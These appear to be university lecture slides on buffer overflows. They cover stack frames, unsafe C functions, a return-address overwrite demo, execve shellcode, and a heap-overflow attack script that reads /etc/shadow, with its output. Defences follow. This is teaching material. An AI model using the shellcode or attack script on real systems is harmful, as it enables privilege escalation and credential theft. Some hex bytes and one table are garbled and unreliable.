

# **CSCI262 : System Security**


## **Buffer Overflow**

# Outline

- What is a buffer?
- What is a buffer overflow?
- What are buffer overflow attacks?
- How can buffer overflows be exploited?
- Examples of buffer overflow attacks.
- How can we prevent buffer overflows?

# What is a Buffer?

- In computer programming, a ‘buffer’ is a memory location where data is stored.
- A variable has room for one instance of data.
  - So if the variable is of type ‘int’, it will hold only one integer.
- A buffer can contain many instances of data.
  - For example, a series of ‘char’, ‘int’ and ‘float’ values.



- When we define a variable in C or C++, the compiler says to reserve a memory location for it according to its type. For example, the statement

```
int my_variable;
```

tells the compiler that somewhere we intend to use `my_variable` to store an integer.

Memory necessary for the declared type will be set aside in the buffer.

- For an array, enough space for all of the elements in the array is set aside.
- An *assignment*, like `my_variable = 5;` tells the compiler to write instructions so as to store the value 5 into the space reserved for `my_variable`.

# What is a buffer overflow (or overrun)?

- NIST definition:

“A condition at an interface under which more input can be placed into a buffer or data holding area than the capacity allocated, overwriting other information.

Attackers exploit such a condition to crash a system or to insert specially crafted code that allows them to gain control of the system.”

Let’s look at an example.


- It's C++ code but should be fairly straightforward to understand and the notation will be explained as we go ...
- Consider that a programmer allocates enough memory for a variable to hold 8 characters.
  - To be specific, let us say they allow 8 characters to hold your first name.

```
struct Student {
    char name[8];
    int sNumber;
};

Student aRec;
```

A struct is like a class,  
but often without access specifiers.  
Character array and an integer.

aRec:



```

#include<iostream>
using namespace std;

struct Student{
    char name[8];
    int sNumber;
};

int main()
{
    Student aRec, bRec;
    aRec.sNumber=1234567;
    strcpy(aRec.name,"david");

    bRec.sNumber=1234568;
    strcpy(bRec.name,"alexander");
    bRec.sNumber=1234568;

    cout << "Student name: " << aRec.name << endl;
    cout << "Student number: " << aRec.sNumber << endl;

    cout << "Student name: " << bRec.name << endl;
    cout << "Student number: " << bRec.sNumber << endl;
}

```

strcpy: Used to copy C-strings, so character arrays terminated by a null character.  
 cout << : Output to standard out, typical display...

The output:  
 Student name: david  
 Student number: 1234567  
 Student name: alexander  
 Student number: 1912657544  
 (or 1179762 or ...)

- Buffer overflows are the result of poor coding practices.
- C and C++ programmers, in particular, are vulnerable to the temptation of using unsafe but easy-to-use string-handling functions.
  - And assembler is even worse...
- Furthermore, ignorance about the real consequences of mistakes can make appropriate programming difficult to justify.
- VB, Java, Perl, C#, Python, and some other high-level languages, all do run-time checking of array boundaries.

# Buffer Overflow Attacks

- These exploit buffer overflows in the code.
- Buffer overflow attacks can:
  - Cause an attack against availability by running a denial of service attack.
    - Basically meaning that resources that should be available to authentic users are not.
  - Run arbitrary code that either modifies data, which is an attack against integrity, ...
  - ... or reads sensitive information, which is an attack against confidentiality.

- In some cases, an attacker tries to exploit programs that are running as a privileged account, such as root or a domain administrator.
- They use those privileges to reach and attack areas they themselves wouldn't normally have access to.


# Some historical buffer overflow exploits

- 1988: Morris worm: Included exploiting a buffer overflow in fingerd.
- 2000: Buffer overflow attack against Microsoft Outlook.
- 2001: Code Red worm: Exploits buffer overflow in Microsoft IIS 5.0.
- 2003: Slammer worm: Exploits buffer overflow in Microsoft SQL Server 2000.
- 2004: Sasser worm: Exploits buffer overflow in Microsoft Windows 2000/XP Local Security Authority Subsystem Service.
- 2005: Symantec anti-virus buffer overflow.

# Memory: Stacks (and heaps)

- Buffer overflows are possible because of the way memory and memory management works, or doesn't.
  - In C/C++ memory management is partially the choice of the programmer.
    - In languages like Java and C# it isn't.
- Many of the most problematic buffer overflow attacks have been specifically targeted against stacks.
  - With subsequent stack protection the heap became a popular target too.
  - Stacks and heaps are both parts of the process memory.

- The Stack contains stack frames associated with running function calls.
  - Frames contain information like the return address, local variables and function arguments.
  - Stack memory grows down.
- Heap memory is requested by programs for use in dynamic data structures (`new` and `new[]`)
  - Heap memory grows up (☺).
- Buffer overflow type attacks are also possible against global data and the heap, but we won't look at these.
  - The high to low memory addresses differs in some implementations. (☹)




[SB18]  
Fig 10.4

# More on stacks

- A CPU possesses limited registers – special memory locations for “moving” and storing data.
- The stack is where we can store variables that are local to procedures that do not fit in registers, such as local arrays or structures.
- There is a *stack pointer* that points to the most recently allocated address in the stack, that is the top of the stack, which is actually lower in memory.
- Variables declared on the stack are located next to the return address for the function's caller. The return address is the memory location where control should return to once a function is completed.

# Function Call



## The calling function P

1. Pushes the parameters for the called function onto the stack
2. Executes the call instruction to call the target function Q, which pushes the return address onto the stack

## The called function Q

3. Pushes the current frame pointer value (which points to the calling routine's stack frame) onto the stack
4. Sets the frame pointer to be the current stack pointer value, which now identifies the new stack frame location for the called function
5. Allocates space for local variables by moving the stack pointer down to leave sufficient room for them
6. Runs the body of the called function
7. As it exits it first sets the stack pointer back to the value of the frame pointer (effectively discarding the space used by local variables)
8. Pops the old frame pointer value (restoring the link to the calling routine's stack frame)
9. Executes the return instruction which pops the saved address off the stack and returns control to the calling function

[SB18], Figure 10.3


# An example of the buffer filling ...

- Consider that we have this code:

```
void function (int a, int b, int c)
{
    char buffer1[5];
    char buffer2[10];
}
```

```
int main() {
    function(1,2,3);
}
```

the function stack looks like:




# ... and of what can go wrong

- Consider now that we have:

```
void function (char *str)
{
    char buffer[16];
    
    strcpy (buffer, str);
}  
```

```
int main () {
    char *str = "I am greater than
                16 bytes";
    function (str);
}
```




the function stack looks like:

# So what?

- We have just overwritten the address of the return pointer, so we aren't going to get back to the correct location ☹
  - The program is going to abort.
- But if we are attacking the system we might try and do more.
  - We might have two variables, like the example two slides back, so change one to change the other.
  - We might also change the return pointer to a specific value.

# The smashed stack

- Causing stack overflows is often referred to as smashing the stack.



# Types of Attacks

- **Denial of service attack:**
  - Too much data on the memory states causes other information on the stack to be overwritten.
    - If enough information can be overwritten, the system cannot function, and the operating system will crash.
  - This is easy to do if a buffer overflow is possible.
- **Gaining access:**
  - A careful attacker can overwrite just enough on the stack to overwrite the return pointer, causing the pointer to point to the attacker's code instead of the actual program, so the attacker's code gets executed next!

# Unsafe C functions

- Many buffer overflows result from the use of unsafe functions available in the standard library of C.
- Here go a few of the common functions that should be avoided!

```
gets(char *str);  
sprintf(char *str, char *format, ...);  
strcat(char *dest, char *src);  
strcpy(char *dest, char *src);  
vsprintf(char *str, char *fmt, va_list ap);
```

- Functions such as `strncat` or `strncpy` are better, because they have bounds which makes it easier to protect.
  - They still need to be used with care though, since they make checking easier, but they can still suffer problems with buffer overflow if the bounds are incorrectly specified.
  - You also have to make sure there aren't buffer overflows introduced due to your own code, or in other code you have included, apart from the standard libraries.

```
/*
```

```
StackOverrun.cpp
```

This program shows an example of how a stack-based buffer overrun can be used to execute arbitrary code. Its objective is to find an input string that executes the function `Y`.

```
*/
```

```
#include <stdio.h>
#include <string.h>
```

```
void x(const char* input)
{
    char buf[10];
```

```
//Not passing any arguments is a trick to view the stack.
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
```

```
//Pass the user input straight to secure code public enemy #1.
strcpy(buf, input);
printf("%s\n", buf);
```

```
printf("Now the stack looks like:
\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); }
```

Okay, so it's actually C code ☺  
printf is for printing ...

```
void Y(void)
{
    printf("Argh! I've been hacked!\n");
}

int main(int argc, char* argv[])
{
    printf("Address of X = %p\n", X);
    printf("Address of Y = %p\n", Y);
    if (argc != 2)
    {
        printf("Please supply a string as an argument!\n");
        return -1;
    }
    X(argv[1]);
    return 0;
}
```

## F:\Examples\StackOverrun Hello

Address of X = 004012B8

Address of Y = 00401328

My stack looks like:

7FFDF000

00000018

00000001

0023FF14

0000000C

0023FFE0

77C35C94

77C146F0

FFFFFFFF

0023FF60

**00401401**

00032593

00401328

**The return address of X**

Hello

Now the stack looks like:

0022FF30

00000018

00000001

0023FF14

0000000C

6C6C6548

77C3006F

77C146E0

FFFFFFFF


0022FF60

**00401401**

00032593

00401328

Hello was copied in  
6C-1, 65-e, 48-H, 6F-o



F:\Examples\StackOverrun AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Address of X = 004012B8

Address of Y = 00401328

My stack looks like:

7FFDF000

00000018

00000001

0023FF14

0000000C

0023FFE0

77C35C94

77C146F0

FFFFFFFF

0023FF60

**00401401**

00032593

00401328

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Now the stack looks like:

0023FF30

00000018

00000001

0023FF14

0000000C

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

### StackOverrun.exe

StackOverrun.exe has encountered a problem and needs to close. We are sorry for the inconvenience.

If you were in the middle of something, the information you were working on might be lost.

For more information about this error, [click here](#).

Debug

Close

### StackOverrun.exe

#### Error signature

AppName: stackoverrun.exe AppVer: 0.0.0.0 ModName: unknown  
ModVer: 0.0.0.0 Offset: 41414141

To view technical information about the error report, [click here](#).

Close

Trying to access  
41414141 ☹

# F:\Examples\StackOverrun AAAAAAAA

Address of X = 004012B8

Address of Y = 00401328

My stack looks like:

7FFDF000

00000018

00000001

0023FF14

0000000C

0023FFE0

77C35C94

77C146F0

FFFFFFFF

0023FF60

**00401401**

00032593

00401328

AAAAAAA

Now the stack looks like:

0023FF30

00000018

00000001

0023FF14

0000000C

41414141

41414141

77004141

FFFFFFFF

0023FF60

**00401401**

00032593

00401328

Notice the 00  
for the null.

F:\Examples\StackOverrun AAAAAAAAAAAAAAAAAAAAAA

We are going to put in 20 A's, to stop just before the target!

Address of X = 004012B8

Address of Y = 00401328

My stack looks like:

7FFDF000

00000018

00000001

0023FF14

0000000C

0023FFE0

77C35C94

77C146F0

FFFFFFFF

0023FF60

**00401401**

00032593

00401328

AAAAAAAAAAAAAAAAAAAAA

Now the stack looks like:

0023FF30

00000018

00000001

0023FF14

0000000C

41414141

41414141

41414141

41414141

41414141

00401400

00032593

00401328



We are going to put in 21. We can then see the overflow!

Address	Value	Address	Value
Address	StackOverrun.exe	Error signature	AAAAAAA
My stack	App name: stackoverrun.exe AppVer: 0.0.0.0 ModName: stackoverrun.exe	ModVer: 0.0.0.0 Offset: 00000041	looks like:
7FFDC0000000	To view technical information about the error report, <a href="#">click here</a> .	Close	
0000000000000001	00000001	0000000000000001	00000001
0023FF14	0023FF14	0000000C	0000000C
0000000C	41414141	0023FFE0	41414141
77C35C94	41414141	77C146F0	41414141
77C146F0	41414141	FFFFFFFFFF	41414141
FFFFFFFFFF	00400041	0023FF60	41414141
0023FF60	00032593	00401401	00032593
<b>00401401</b>	00401328	00032593	00401328
00032593	00401328	00401328	

We can use this to detect where we should be pushing data into to exploit the buffer overflow.

```
$arg = "AAAAAAAAAAAAAAAAAAAAA"."\x28\x13\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);
```

Address of X = 004012B8

Address of Y = **00401328**

My stack looks like:

7FFDF000

00000018

00000001

0022FF14

0000000C

0022FFE0

77C35C94

77C146F0

FFFFFFFF

0022FF60

**00401401**

003E2593

00401328

AAAAAAAAAAAAAAAAAAAAA (!!@

Now the stack looks like:

0022FF30

0000001A

00000001

0022FF14

0000000C

41414141

41414141

41414141

41414141

41414141

**00401328**

003E2593

00401328

**Argh! I've been hacked!**

# Run it again...

- ... And the addresses will be the same.
- Even if the programs are running at the same time.
- The addresses that are visible here are only relative addresses.
- So, with such systems if we find a buffer overflow in a particular version of a widely distributed piece of software, we can likely exploit it in the same way on many computers.

# How can we prevent buffer overflows?

- Buffer overflow vulnerabilities are inherent in code, due to poor or no error checking.
- There are two sides to addressing this:
  - If you are the developer, you need to make sure you have secure code.
  - If you are a user of software, anything that can be done to protect against buffer overflows must be done external to the software application, unless you have the source code and can re-code the application correctly.
    - Most users wouldn't be able to make the latter choice.

# Diagnosing buffer overflows?



Dilbert: 14-Aug-2012

# For the developer/programmer ...

- **Write secure code:**
- Buffer overflows result when more information is placed into a buffer than it is meant to hold.
  - C library functions such as `strcpy()`, `strcat()`, `sprintf()` and `vsprintf()` operate on null terminated character arrays and perform no bounds checking.
    - `gets()` is another function that reads user input (into a buffer) from `stdin` until a terminating newline or EOF is found.
    - The `scanf()` family of functions may also result in buffer overflows.
- The best way to deal with buffer overflow problems is to not allow them to occur in the first place. Developers should learn to minimize the use of vulnerable functions.


- **Use compiler tools:**

- Compilers have become more and more aggressive in optimizations and the checks they perform.
- Some compiler tools offer warnings on the use of unsafe constructs such as `gets()`, `strcpy()` and the like.
- Some compilers (such as ``StackGuard'', a modification of the standard GNU C compiler `gcc`. ) actually change the compiled code from unsafe to safe automatically; possibly by adding a canary value.
  - This is something you could do yourself anyway.

- You can use a **canary or guard value** just before the return address, and check that it hasn't changed.
  - The canary value shouldn't be predictable, or the attacker just writes it again. ☺

Normal (safe) stack configuration:

Buffer	Other local variables	Canary (random)	Return address	Other data
--------	-----------------------	-----------------	----------------	------------



Buffer overflow attack attempt:

Buffer	Overflow data	Corrupt return address	Attack code
--------	---------------	------------------------	-------------



*Figure 16 in Goodrich & Tamassia's book*

- Perform extensive code reviews of string functionality and indexes utilized within your application.
- Use something like the `<strsafe.h>` library of Visual C++.
  - This library has buffer overrun safe functions that will help with the detection of buffer overflows.
- Stack (and/or heap) randomisation may be available!

# For the end user ...

- **Remove the vulnerable software:**
  - This is a simple way of protecting against being attacked through that software.
  - The software may well be installed by default and not-used.
    - For security and space/efficiency reasons it may as well be removed.
  - Any services or ports which are unnecessarily in operation should be closed.
- From the point of view of security it is better to know exactly what is installed and what it is for. That is, have a “default not install” policy.

- **Run Software at the Least Privilege Required:**
  - This is another general rule: the *principle of least privilege*.
  - Applying this we limit the access an attacker can have, even if they identify a way of launching a buffer overflow attack, or some other attack.
- **Apply vendor patches:**
  - Usually the announcement of a buffer overrun vulnerability will be fairly closely followed by the vendor releasing a patch or updating the software to a new version.
  - In either case, the vendor usually adds the proper error checking into the program. By far, this is the best way to defend against a buffer overrun.

- **Filter Specific Traffic at the Firewall:**
  - Many companies are concerned about external attackers breaching their companies security via the Internet and compromising a machine using a buffer overrun attack.
  - An easy preventative mechanism is to block the traffic of the vulnerable software at the firewall.
  - If a company does not have internal firewalls, this does not prevent an insider from launching a buffer overrun attack against a specific system.

- **Test Key Applications:**

- A good way to defend against buffer overflow attacks is to be proactive and test software.
- Since it might be time consuming, test the critical software first.
  - Type 200 characters for a username.
  - What happens?
- Buffer overflow problems may be around for a long time before anyone, with good or bad motivation, tests it against buffer overflow problems.
  - We expect buffer overflows to result from exceptional behaviour, not normal behaviour.

# Fuzzing

- One way of testing for the response to exceptional behaviour is to use fuzzing.
- This uses randomly generated data, maybe within some bounds, as input.
  - Inevitably most of the input is not going to be consistent with the expected input, and it allows us to identify some problems.
  - Problems like buffer overflows which can occur with a wide range of inputs are likely to be found, problems that only occur when we have a rare combination of inputs, for example are unlikely to be detected.

# So ...

- ... obviously every programmer working on major projects now knows about buffer overflow problems and avoids them.
- Yeah, right!
- Actually avoiding them isn't as easy as it looks.
- <https://www.kb.cert.org/vuls/html/search>
- Across many different operating systems and deployment environments.
- Even experts make mistakes sometimes.
- When cryptographic algorithms are published and released for testing a reference implementation is often made available too.
  - The reference implementation for MD6, a hash function, was found, in December 2008, to contain a buffer overflow.

# Shellcode




- Remember I said earlier about inserting your own code into the buffer.
  - This is called shellcoding.
- To do shellcoding properly from scratch requires knowledge of assembly code.
  - We are just going to look at an example taken from Chapter 10 of [SB18]

# The C we want to see 😊

```
int main(int argc, char*argv[])
{
    char *sh;
    char *args[2];

    sh = "/bin/sh"
    args[0] = sh;
    args[1] = NULL;
    execve (sh, args, NULL);
}
```

**This will  
open a shell.**



# Why “just open a shell”?

- the setuid issue!
- If the program which this buffer overload attack is launched against is owned by root and is a setuid program, then the shell will run with root permissions.
- This means that when we attack we also include instructions to, for example, view /etc/shadow, and we will be able to.
  - So the input for the buffer overflowing is submitted and instructions to run in the shell.

# The x86 assembly code

```
        nop
        nop                                // end of nop sled
        jmp find                            // jump to end of code
cont:   pop %esi      // pop address of sh off stack into %esi
        xor %eax, %eax      // zero contents of EAX
        mov %al, 0x7(%esi) // copy zero byte to end of string sh (%esi)
        lea (%esi), %ebx      // load address of sh (%esi) into %ebx
        mov %ebx,0x8(%esi) // save address of sh in args[0] (%esi+8)
        mov %eax,0xc(%esi) // copy zero to args[1] (esi+c)
        mov $0xb,%al      // copy execve syscall number (11) to %al
        mov %esi,%ebx      // copy address of sh (%esi) into %ebx
        lea 0x8(%esi),%ecx // copy address of args (%esi+8) to %ecx
        lea 0xc(%esi),%edx // copy address of args[1] (%esi+c) to %edx
        int $0x80      // software interrupt to execute syscall
find:   call cont    // call cont which saves next address on stack
sh:     .string "/bin/sh " // string constant
args:   .long 0      // space used for args array
        .long 0      // args[1] and also NULL for env array
```

- %eax, %ebx, %ecx, %edx, %esi, %al are all x86 registers with various roles.

# Compiled x86 machine code

```
90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89  
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1  
ff ff ff 2f 62 69 6e 2f 72 68 20 20 20 20 20 20
```

This is what we insert!

This isn't exactly obvious ☺

Different platforms need different assembler code.

# An example of a heap overflow

```
/* record type to allocate on heap */
typedef struct chunk {
    char inp[64];           /* vulnerable input buffer */
    void (*process) (char *); /* pointer to function to process inp */
} chunk_t;

void showlen(char *buf)
{
    int len;
    len = strlen(buf);
    printf("buffer5 read %d chars\n", len);
}

int main(int argc, char *argv[])
{
    chunk_t *next;

    setbuf(stdin, NULL);
    next = malloc(sizeof(chunk_t));
    next->process = showlen;
    printf("Enter value: ");
    gets(next->inp);
    next->process(next->inp);
    printf("buffer5 done\n");
}
```

(a) Vulnerable heap overflow C code

Fig 10.11(a) in [SB18]

```
$ cat attack2
#!/bin/sh
# implement heap overflow against program buffer5
perl -e 'print pack("H*",
"90909090909090909090909090909090" .
"9090ebla5e31c08846078d1e895e0889" .
"460cb00b89f38d4e088d560cccd80e8e1" .
"fffffff2f62696e2f7368202020202020" .
"b89704080a");'
print "whoami\n";
print "cat /etc/shadow\n";'
```

```
$ attack2 | buffer5
Enter value:
root
root:$1$4oInmych$T3BVS2E3OyNRGjGUzF4o3/:13347:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$p2wziIMLS/yVHPQuw5kv1UFJs3b9aj/:13347:0:99999:7:::
...
```

The address is  
0x080497b8

(b) Example heap overflow attack

Fig 10.11b in [SB18]